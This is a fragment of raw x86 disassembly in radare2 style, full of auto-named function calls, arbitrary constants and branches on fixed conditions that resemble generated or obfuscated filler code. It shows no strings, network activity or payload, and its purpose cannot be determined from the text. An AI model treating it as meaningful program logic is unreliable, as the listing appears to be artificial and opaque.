call fcn.100411ee
pop ecx
pop ecx
mov dword [ebp - 0x3f0], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push 0x16be
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x30]
push eax
push 0x4388
push 0x7ece
call fcn.10044fd9
add esp, 0x20
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
jmp 0x10047add
mov dword [ebp - 0x9b8], 1
mov dword [ebp - 0x9b4], 1
mov dword [ebp - 0x9b0], 1
mov dword [ebp - 0x9ac], 1
mov dword [ebp - 0x240], 0
mov dword [ebp - 0x240], 3
jmp 0x10047bee
mov eax, dword [ebp - 0x240]
dec eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jl 0x10047c19
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x10047c17
push 0x1f7f
push 1
call fcn.10043f16
pop ecx
pop ecx
jmp 0x10047be1
lea eax, [ebp - 0x10]
push eax
push 0x2860
lea eax, [ebp - 0x10c]
push eax
push 1
call fcn.10043f51
add esp, 0x10
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
sub eax, dword [ebp - 0x10c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x7fc], 0
mov byte [ebp - 0x8d], 0
lea eax, [ebp - 0x8d]
push eax
push 0
call fcn.100446c4
pop ecx
pop ecx
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x10047c86
push 0
push 0x3004
call fcn.100447fe
pop ecx
pop ecx
and dword [ebp - 0x2d8], 0
jmp 0x10047c9c
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
mov eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0xb8]
jge 0x10047cc2
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x30]
and dword [ecx + eax], 0
mov eax, dword [ebp - 0x14]
add eax, 4
mov dword [ebp - 0x14], eax
jmp 0x10047c8f
mov dword [ebp - 0xec], 0xf2c29a3d
mov dword [ebp - 0xfc], 0xfffffff6
mov dword [ebp - 0x660], 0x22db785b
push 1
lea ecx, [ebp - 0x5a0]
call fcn.10017e9c
mov dword [ebp - 4], 0x11
mov dword [ebp - 0x664], 0xa4d3ec93
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x630], 0x99612158
mov dword [ebp - 0x834], 0xb1e5de2c
push 1
lea ecx, [ebp - 0x7ac]
call fcn.10017e9c
mov byte [ebp - 4], 0x12
mov dword [ebp - 0x538], 0xffffffff
mov dword [ebp - 0x40], 0
jmp 0x10047d47
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x10047d5d
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x658], 0x6af1124f
jmp 0x10047d40
push 1
push 0x5d35
lea eax, [ebp - 0x40]
push eax
push 0x1ece
push 0x3057
push 0x4ef4
push 0x5301
lea eax, [ebp - 0x5a0]
push eax
push 0x7345
push 0x22ca
push 0x5eda
call fcn.10043fa9
add esp, 0x2c
lea eax, [ebp - 0x40]
push eax
push 1
lea eax, [ebp - 0x7ac]
push eax
call fcn.10044176
add esp, 0xc
mov dword [ebp - 0x40], 0
jmp 0x10047dbf
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x10047dd5
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x9fc], 0xcaaf7cc7
jmp 0x10047db8
mov dword [ebp - 0xec], 1
jmp 0x10047dee
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x10047e4d
mov dword [ebp - 0x628], 0x21591249
push 0x4bbc
push 1
lea eax, [ebp - 0x628]
push eax
push 0x7bbd
push 0x664a
push 0x91d
push 0x427f
push 0x7d8
push 0x2f5a
push 0x5f26
push 0x2cce
push 0x4253
lea eax, [ebp - 0xfc]
push eax
call fcn.100441eb
add esp, 0x34
jmp 0x10047de1
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jne 0x10047e7a
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
jne 0x10047e7a
and dword [ebp - 0x400], 0
jmp 0x10047e84
mov dword [ebp - 0x400], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x658]
mov dword [ebp - 0x954], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x9fc]
mov dword [ebp - 0x83c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x658], 0
jne 0x10047ecb
mov eax, 0xe101eae
test eax, eax
jne 0x10047ecb
and dword [ebp - 0x4c8], 0
jmp 0x10047ed5
mov dword [ebp - 0x4c8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x658]
cmp dword [ebp - 0x4c8], eax
jge 0x10047ef6
mov dword [ebp - 0x3f8], 1
jmp 0x10047efd
and dword [ebp - 0x3f8], 0
push 0
lea ecx, [ebp - 0x5a0]
call fcn.10017f3a
mov ecx, dword [ebp - 0x3f8]
cmp ecx, dword [eax]
jg 0x10047f20
mov dword [ebp - 0x568], 1
jmp 0x10047f27
and dword [ebp - 0x568], 0
push 0
lea ecx, [ebp - 0x5a0]
call fcn.10017f3a
mov ecx, dword [ebp - 0x568]
cmp ecx, dword [eax]
jl 0x10047f4a
mov dword [ebp - 0x4d0], 1
jmp 0x10047f51
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x660]
imul eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0xfc]
add ecx, dword [ebp - 0x4d0]
cmp eax, ecx
jl 0x10047f7b
xor eax, eax
jne 0x10047f7b
and dword [ebp - 0x2a8], 0
jmp 0x10047f85
mov dword [ebp - 0x2a8], 1
push 0
lea ecx, [ebp - 0x7ac]
call fcn.10017f3a
mov ecx, dword [ebp - 0x2a8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xfc], eax
mov esi, dword [ebp - 0xfc]
push 0
lea ecx, [ebp - 0x5a0]
call fcn.10017f3a
cmp esi, dword [eax]
jne 0x10047fc9
mov dword [ebp - 0x408], 1
jmp 0x10047fd0
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x408]
mov dword [ebp - 0x538], eax
mov eax, dword [ebp - 0x538]
mov dword [ebp - 0x948], eax
mov eax, dword [ebp - 0x630]
mov dword [ebp - 0x844], eax
push 0
lea ecx, [ebp - 0x5a0]
call fcn.10017f3a
mov esi, dword [eax]
sub esi, dword [ebp - 0x664]
push 0
lea ecx, [ebp - 0x5a0]
call fcn.10017f3a
mov dword [eax], esi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x7ac]
call fcn.10017f1e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5a0]
call fcn.10017f1e
push 0x17a7
push 0x2c90
lea eax, [ebp - 0xb8]
push eax
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.100444cd
add esp, 0x18
mov dword [ebp - 0x788], 0x71177e8e
mov dword [ebp - 0x784], 0x71177e8e
mov dword [ebp - 0x780], 0x71177e8e
mov dword [ebp - 0x77c], 0x71177e8e
lea ecx, [ebp - 0x2b9]
call fcn.1000a553
push eax
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x788]
push eax
lea ecx, [ebp - 0xa28]
call fcn.10017f49
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x594]
call fcn.10017ef8
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4e0], 0xe468
mov dword [ebp - 0x66c], 1
mov dword [ebp - 0x228], 0
jmp 0x100480f1
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 3
jge 0x1004810d
mov eax, dword [ebp - 0x228]
mov dword [ebp + eax*4 - 0xa14], 1
jmp 0x100480e4
mov dword [ebp - 0x5c], 3
jmp 0x1004811d
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1004826c
push 4
pop eax
shl eax, 0
lea eax, [ebp + eax - 0xa14]
mov dword [ebp - 0x410], eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x594]
call fcn.10017f3a
mov ecx, dword [ebp - 0x410]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x410]
cmp dword [eax], 0xffffffff
jle 0x10048169
mov dword [ebp - 0x574], 1
jmp 0x10048170
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x4e0], eax
jge 0x10048187
mov dword [ebp - 0x4d8], 1
jmp 0x1004818e
and dword [ebp - 0x4d8], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x594]
call fcn.10017f3a
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [eax]
je 0x100481b2
mov dword [ebp - 0x418], 1
jmp 0x100481b9
and dword [ebp - 0x418], 0
push 0
lea ecx, [ebp - 0x594]
call fcn.10017f3a
mov esi, eax
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x594]
call fcn.10017f3a
mov ecx, dword [esi]
add ecx, dword [eax]
cmp ecx, dword [ebp - 0x418]
jne 0x10048200
push 2
lea ecx, [ebp - 0x594]
call fcn.10017f3a
cmp dword [eax], 0
je 0x10048200
mov dword [ebp - 0x420], 1
jmp 0x10048207
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x574]
imul eax, dword [ebp - 0x420]
neg eax
cmp eax, dword [ebp - 0x4e0]
jge 0x1004822a
mov dword [ebp - 0x428], 1
jmp 0x10048231
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x428], eax
jge 0x10048248
mov dword [ebp - 0x638], 1
jmp 0x1004824f
and dword [ebp - 0x638], 0
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x594]
call fcn.10017f3a
mov dword [ebp - 0x66c], 0xfffffff7
jmp 0x10048116
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x594]
call fcn.10017f1e
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x18]
sub eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x18], eax
and dword [ebp - 0x1b8], 0
jmp 0x100482a3
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x1b8]
cmp eax, dword [ebp - 0xb8]
jge 0x100482e1
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1b8]
push eax
push 0x516
lea eax, [ebp - 0x30]
push eax
call fcn.10044547
add esp, 0x1c
mov eax, dword [ebp - 0x14]
inc eax
inc eax
mov dword [ebp - 0x14], eax
jmp 0x10048296
mov dword [ebp - 0x64], 0x96dd1e1e
mov dword [ebp - 0x57c], 1
push 2
lea ecx, [ebp - 0x744]
call fcn.10017e9c
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x67c], 0xfffffff8
mov dword [ebp - 0x114], 0
jmp 0x10048329
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 1
jge 0x10048345
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x11c], 1
jmp 0x1004831c
lea eax, [ebp - 0x744]
push eax
push 0x32c1
lea eax, [ebp - 0x114]
push eax
push 1
push 0x6e4c
call fcn.100445e1
add esp, 0x14
mov dword [ebp - 0x64], 0
jmp 0x10048377
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jg 0x10048584
mov dword [ebp - 0xd4], 0xa9ef72d4
mov dword [ebp - 0x674], 0xfffffff9
mov dword [ebp - 0x650], 0xfffffffb
mov dword [ebp - 0xd4], 0
jmp 0x100483b8
mov eax, dword [ebp - 0xd4]
inc eax
mov dword [ebp - 0xd4], eax
cmp dword [ebp - 0xd4], 0
jg 0x1004857f
mov dword [ebp - 0x7f8], 0xb0a11721
mov dword [ebp - 0x7f4], 0xb0a11721
mov dword [ebp - 0x7f0], 0xb0a11721
mov dword [ebp - 0x7ec], 0xb0a11721
mov eax, dword [ebp - 0x64]
cmp dword [ebp + eax*4 - 0x11c], 0
je 0x10048521
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp + eax*4 - 0x11c]
mov dword [ebp - 0x95c], eax
mov eax, dword [ebp - 0x57c]
mov dword [ebp - 0x84c], eax
mov esi, dword [ebp - 0x64]
push 0
lea ecx, [ebp - 0x744]
call fcn.10017f3a
mov eax, dword [eax]
sub eax, 6
cmp esi, eax
jne 0x1004843f
mov dword [ebp - 0x540], 1
jmp 0x10048446
and dword [ebp - 0x540], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x11c]
cmp dword [ebp - 0x540], eax
jge 0x10048467
mov dword [ebp - 0x640], 1
jmp 0x1004846e
and dword [ebp - 0x640], 0
cmp dword [ebp - 0x674], 0x7c57f39c
jl 0x10048486
mov dword [ebp - 0x430], 1
jmp 0x1004848d
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xd4]
cmp dword [ebp - 0x430], eax
jle 0x100484b1
mov eax, dword [ebp - 0x64]
cmp dword [ebp + eax*4 - 0x11c], 0
jne 0x100484b1
and dword [ebp - 0x648], 0
jmp 0x100484bb
mov dword [ebp - 0x648], 1
mov eax, dword [ebp - 0x67c]
mov dword [ebp - 0x964], eax
push 1
lea ecx, [ebp - 0x744]
call fcn.10017f3a
cmp dword [ebp - 0x64], 0
je 0x100484ef
mov eax, 0xfc0336ae
test eax, eax
je 0x100484ef
mov dword [ebp - 0x4e8], 1
jmp 0x100484f6
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
add eax, dword [ebp - 0xd4]
mov dword [ebp - 0x438], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x438]
mov dword [ebp + eax - 0x7f8], ecx
mov eax, dword [ebp - 0x650]
mov eax, dword [ebp - 0x57c]
mov ecx, dword [ebp - 0x64]
add eax, dword [ebp + ecx*4 - 0x11c]
je 0x10048555
mov byte [ebp - 0x99], 0
movzx eax, byte [ebp - 0x99]
test eax, eax
je 0x10048553
push 0x42c2
push 1
call fcn.1004468b
pop ecx
pop ecx
jmp 0x1004857a
mov dword [ebp - 0x440], 0xd7c8a36a
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
push 0xcc
push 1
call fcn.100446c4
pop ecx
pop ecx
jmp 0x100483ab
jmp 0x10048370
mov byte [ebp - 0xac], 0
lea eax, [ebp - 0xac]
push eax
push 0xb90
push 0x2943
push 1
call fcn.10044712
add esp, 0x10
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x744]
call fcn.10017f1e
mov eax, dword [ebp - 0xb8]
shl eax, 1
mov ecx, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [eax + 0x24], ecx
mov dword [ebp - 0xc0], 0xd0357257
mov dword [ebp - 0x12c], 0xb2c593c8
mov dword [ebp - 0x84], 0x723
push 3
lea ecx, [ebp - 0x5c8]
call fcn.10017e9c
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0xc8], 0xe6ee3e4f
mov dword [ebp - 0x374], 1
push 2
lea ecx, [ebp - 0x738]
call fcn.10017e9c
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x124], 0
jmp 0x1004863f
mov eax, dword [ebp - 0x124]
inc eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 3
jge 0x10048661
push dword [ebp - 0x124]
lea ecx, [ebp - 0x5c8]
call fcn.10017f3a
mov dword [eax], 1
jmp 0x10048632
lea eax, [ebp - 0x738]
push eax
push 1
push 0x11cf
push 0x59d8
lea eax, [ebp - 0x124]
push eax
call fcn.10044771
add esp, 0x14
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
je 0x100486d9
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0xc0], eax
jge 0x100486b2
mov dword [ebp - 0x2e4], 1
jmp 0x100486b9
and dword [ebp - 0x2e4], 0
mov eax, dword [ebp - 0x2e4]
sub eax, dword [ebp - 0x12c]
cmp eax, dword [ebp - 0x12c]
je 0x100486d9
mov dword [ebp - 0x2ec], 1
jmp 0x100486e0
and dword [ebp - 0x2ec], 0
mov eax, dword [ebp - 0x12c]
cmp dword [ebp - 0x2ec], eax
jle 0x10048703
cmp dword [ebp - 0x84], 0
je 0x10048703
mov dword [ebp - 0x2f4], 1
jmp 0x1004870a
and dword [ebp - 0x2f4], 0
cmp dword [ebp - 0x2f4], 1
jbe 0x1004871f
mov dword [ebp - 0x684], 1
jmp 0x10048726
and dword [ebp - 0x684], 0
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x854], eax
push 7
pop eax
test eax, eax
jne 0x1004874b
mov eax, 0x70fc2448
test eax, eax
jne 0x1004874b
and dword [ebp - 0x65c], 0
jmp 0x10048755
mov dword [ebp - 0x65c], 1
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x9cc], eax
mov eax, 0x28e48792
add eax, 0x7f47073e
cmp eax, dword [ebp - 0x84]
jle 0x1004877f
mov dword [ebp - 0x2fc], 1
jmp 0x10048786
and dword [ebp - 0x2fc], 0
push 2
lea ecx, [ebp - 0x5c8]
call fcn.10017f3a
mov ecx, dword [ebp - 0x2fc]
cmp ecx, dword [eax]
jle 0x100487a9
mov dword [ebp - 0x304], 1
jmp 0x100487b0
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 0x304]
sub eax, 0xde76
cmp dword [ebp - 0xc0], eax
je 0x100487cf
mov dword [ebp - 0x30c], 1
jmp 0x100487d6
and dword [ebp - 0x30c], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x30c], eax
je 0x100487ed
mov dword [ebp - 0x314], 1
jmp 0x100487f4
and dword [ebp - 0x314], 0
cmp dword [ebp - 0x314], 0x8e4c
jle 0x1004881c
cmp dword [ebp - 0xc0], 0
je 0x1004881c
push 3
pop eax
test eax, eax
je 0x1004881c
mov dword [ebp - 0x31c], 1
jmp 0x10048823
and dword [ebp - 0x31c], 0
mov eax, dword [ebp - 0x84]
cmp dword [ebp - 0x31c], eax
jne 0x10048846
mov eax, 0xffff
test eax, eax
je 0x10048846
mov dword [ebp - 0x324], 1
jmp 0x1004884d
and dword [ebp - 0x324], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x324], eax
jle 0x10048864
mov dword [ebp - 0x32c], 1
jmp 0x1004886b
and dword [ebp - 0x32c], 0
mov esi, dword [ebp - 0x84]
add esi, dword [ebp - 0x32c]
neg esi
push 1
lea ecx, [ebp - 0x5c8]
call fcn.10017f3a
imul esi, dword [eax]
mov dword [ebp - 0xc8], esi
mov eax, dword [ebp - 0xc0]
cmp dword [ebp - 0xc8], eax
jle 0x100488a9
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x614], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x61c], eax
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x624], eax
mov eax, dword [ebp - 0x108]
mov dword [eax], 0
jmp 0x1004a0df
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x108]
mov dword [ecx], eax
mov eax, dword [ebp - 0x108]
cmp dword [eax], 1
jge 0x1004a105
mov eax, dword [ebp - 0x108]
push dword [eax]
mov ecx, dword [ebp - 0x624]
call fcn.10017f3a
mov dword [eax], 0x19e95d1c
jmp 0x1004a0ce
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret